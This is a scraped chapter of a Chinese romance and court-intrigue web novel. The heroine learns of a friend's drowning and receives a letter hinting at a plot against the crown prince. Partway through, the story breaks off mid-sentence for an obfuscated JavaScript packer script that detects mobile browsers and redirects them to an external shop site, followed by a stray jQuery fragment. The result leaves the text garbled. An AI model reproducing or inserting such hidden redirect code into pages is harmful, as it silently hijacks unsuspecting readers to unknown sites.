文趣网 > 其他小说 > 喜良缘 > 91. 遗书
    在遮云峰的五天过得飞快,要下山的那天,苏楹恋恋不舍地去温泉最后泡一回澡。

    温泉周围的假山石上覆满落雪,齐斐嫌热,并不下去,只坐在一旁吃酒。

    他见苏楹如此享受温泉,不禁想起成治帝为梁贵妃凿槽引温泉水进寝宫的事。

    他垂眸看向桌上佐酒的紫葡萄,食指轻敲。

    苏楹探出脑袋,看他坐在那里发呆,一时起了玩心,悄悄穿裙上岸,攥起一团雪,蹑手蹑脚绕到他身后,要塞进他衣领里去。

    齐斐的后脑勺却似长了眼睛,苏楹的手尚未勾住他后领,他已一把扣住苏楹的腕子,将她拉进怀里。

    曾经总是耷拉着眼皮躲在被子里哭的小妻子此刻眉眼俱笑,仿佛春风拂过,满面桃花。

    比起她委屈巴巴的哭,齐斐更爱她笑。

    是温泉逗得她笑?

    是惬意无羁的生活逗得她笑?

    齐斐捻起一颗紫葡萄,抵入她唇缝。

    ·

    过完年,府内绣娘发现苏楹和齐斐的个子都长高了,拿了尺子进来给两人量身缝制新衣裳。

    苏楹本来还想着长了个子能减短与齐斐的距离,没料到齐斐竟然也长了,夜里趁机贴着一比较,仍是齐他胸口。

    齐斐垂眼,见她眉头蹙起来,朱唇紧抿,他往起坐坐,顺便把她往起托:“难受?”

    苏楹把脸埋进他胸口,嘟囔:“我怎么长不高呢?”

    齐斐回想一番,失笑:“你又不矮,更何况不是还在往上窜个子么。”

    苏楹:“也是。《素问》上说女子的个子要长到二十一岁,我还能长四年。至于你嘛,你们男的长到二十四岁就不长了,你只剩两年。你够高了,别长了。”

    齐斐听明白了,合着在跟他比身高。

    齐斐松开手,苏楹倏忽沉下去,红着脸,慌忙捂住鼓起的腹部。

    齐斐:“《素问》上有没有说二十二岁的成年男子肌理各项的成熟状况呢?”

    苏楹的手撑在齐斐腰侧的软枕上,一句话也说不出来。

    ……

    叫了水,苏楹在暖和的被窝里很快睡着了。

    这些时日她极少做梦,今夜却梦到了郑明惠。

    她梦见她和郑明惠走在一片树林里,似乎要去采药。

    郑明惠背着竹篓永远在她前面,她追得两腿肌肉都酸了也追不上。

    展眼来到一个水流湍急的瀑布处,郑明惠竟然还往前走。

    苏楹的衣衫均被汗水和瀑布激起的水雾浸湿,周围的空气变得稀薄,她呼吸困难。

    不能再往前走了。

    不能再往前走了!

    她用尽全身力气喊郑明惠的名字,即将步入瀑布的郑明惠停下脚步,缓缓回眸。

    苏楹看见一张骷髅面。

    她吓得跌倒在地,那骷髅好似笑了笑,转身走进瀑布。

    苏楹猛地惊醒,浑身冷汗。

    此时天蒙蒙亮,齐斐早去上朝了。苏楹久久回不过神。

    及至回过神,拉铃叫丫鬟进来。

    夏桑等人进来,见苏楹面色发白,惊道:“夫人怎么了?”

    苏楹捂住冰凉的额头,扯起嘴角笑笑:“无事,早起做了个噩梦。”

    洗漱毕,待到用完早饭,苏楹在院子里剪山茶花,秋棠才一脸沉重道:“夫人,有件事情原本昨天要告诉,可昨天五爷在房里,小的们不敢打扰。”

    苏楹看她:“什么事?”

    秋棠:“郑……郑医女前天夜里下值回家的路上失足跌进水里,淹死了。昨天清晨被打更的人发现,现已领回家去。崔娘子打发了人过去吊唁,夫人要去看看吗?”

    苏楹眼前一黑,剪子落到地上;秋棠慌忙扶住她。自责消息说得太快惊到夫人,可这事总是要禀明的,若是说迟了,夫人再去吊唁,便是失礼。

    苏楹:“备轿,准备酒水礼物,去看看。”

    ·

    郑明惠家已请阴阳先生帮忙布置好灵堂。

    她是这带有名的医女,更何况在太医院做事,前来吊唁的人很多。

    郑家的姊妹都来帮忙,郑明惠的夫君萧六郎眼底黛青,硬撑着会客。

    苏楹送了祭礼,阴阳生引她到尸首前面上香。苏楹看着被白布覆住的尸体,泪水一下子涌出来,心中苦痛不已。

    郑家、萧家的亲戚陪着哭了一场,便有女眷劝着苏楹进偏厅吃茶。

    “……她总说医女轻贱,我劝她纺织,她又不喜欢。好容易考进太医院,得了几天尊敬,命偏没了,好苦也!”郑明惠

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17667020|203440||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的母亲捶着心口大哭,用头撞墙,女眷们扯的扯,劝的劝。

    苏楹见了此景,亦止不住哭。

    萧六郎来到门口,无声地望苏楹一眼,旋即侧过身去等。

    苏楹没看见,秋棠拉拉她袖子:“萧相公好像是来找夫人的。”

    苏楹用绢子擦擦眼泪,深吸几口气,走过去问他。

    萧六郎引苏楹到前院的影壁后面站着,从袖中掏出封用蜡封住的信。

    信上用规整的小楷写着「苏长姐亲启」。

    “这信是我整理,”萧六郎忽地背过身去,胸口剧烈起伏,平息了心情,再转来继续道,“是我整理她的遗物时发现的。她一向看重私隐,这封信我没有打开看。”

    苏楹红着眼,双手接过。

    萧六郎作揖道:“如果信中提及了什么心愿,请夫人体谅未亡人的心情,告诉我,好叫我知道。”

    苏楹点头:“若有心愿,我一定告诉你。”

    回程的轿中,苏楹拆开信。

    信中言语简洁了当,是郑明惠一贯的风格。

    「苏长姐,我查到太子的病症不对劲,在你府内翻找与消渴病有关的医书,无法解惑。你有苗头吗?若有,告知我,他的消渴症着实古怪,与太医院诊治的有所出入。事关重大,慎慎。」

    “消渴症……太子……”苏楹心头猛地一跳,“难道父亲藏起来的是太子的脉案?”

    是了,是了,一定是太子的脉案!

    父亲并非太子的主治医师,定是父亲发现了太子的病症有问题,分析出脉案,郑明惠也是。

    只有事关太子,他们才穷追猛打!

    是太子!

    有人要害太子,或者更准确的是——有人正在谋害太子。

    苏楹想到自己,想到郑明惠,心中涌动一股仇恨。

    消渴症,消渴症不算稀奇病症,患者多是阴虚燥热,口渴尿多,若是治疗不当,最终会阴阳两虚,危及性命。

    太医院的脉案都有归档,又是太子玉体,通常由两班太医交错诊脉,每一次的汤剂也会归档,既是这种不稀奇的病症,缘何无人诊断出问题,郑明惠也只是发现蹊跷,并不知其中关键,否则她不必写这封信。

    苏楹皱眉,看来要拿出父亲藏下的脉案才行。